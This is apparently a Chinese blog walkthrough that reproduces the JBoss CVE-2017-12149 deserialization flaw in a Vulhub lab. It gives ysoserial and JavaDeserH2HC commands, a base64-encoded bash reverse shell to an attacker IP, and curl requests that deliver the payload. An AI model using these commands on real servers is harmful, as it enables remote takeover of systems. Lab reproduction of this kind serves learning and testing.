赞
踩
JBOSS Application Server是一个基于J2EE的开放源代码的应用服务器,攻击者利用该漏洞无需用户验证在系统上执行任意命令,获得服务器的控制权。该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。
5.x
和6.x
版本的JBOSSAS
docker-compose up -d
成功访问:http://you-ip:8080
,环境搭建成功
访问http://you-ip:8080/invoker/readonly
返回500 一般就是存在了。
直接使用我们的jboss-_CVE-2017-12149
工具
该漏洞出现在/invoker/readonly
请求中,服务器将用户提交的POST内容进行了Java反序列化:
所以,我们用常规Java反序列化漏洞测试方法来复现该漏洞。
编写反弹shell的命令
我们使用bash来反弹shell,但由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,我们需要用进行一次编码。
(注意反弹的ip和端口)
工具:http://www.jackson-t.ca/runtime-exec-payloads.html
序列化数据生成
使用**ysoserial**来复现生成序列化数据,由于Vulhub使用的Java版本较新,所以选择使用的gadget是CommonsCollections5:
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4yMy8yMjMzIDA+JjE=}|{base64,-d}|{bash,-i}" > 233.ser
监听端口。
向被攻击服务器发送攻击Payload。
curl http://目标机ip:8080/invoker/readonly --data-binary @233.ser
查看监听结果
只需要3条命令
就可以了javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 攻击机ip:4444
curl http://目标机ip:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
在GitHub上面下载我们需要的漏洞poc
git clone https://github.com/joaomatosf/JavaDeserH2HC
进入JavaDeserH2HC
目录下,然后下载执行生成二进制的payload文件
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
设置接受shell的主机ip
和端口
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 攻击机ip:4444
监听端口。
向被攻击服务器发送攻击Payload
curl http://目标机ip:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
查看监听结果
参考文章
https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-12149
https://blog.csdn.net/Jerry____/article/details/103506224
https://blog.csdn.net/qq_25645753/article/details/108436405
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。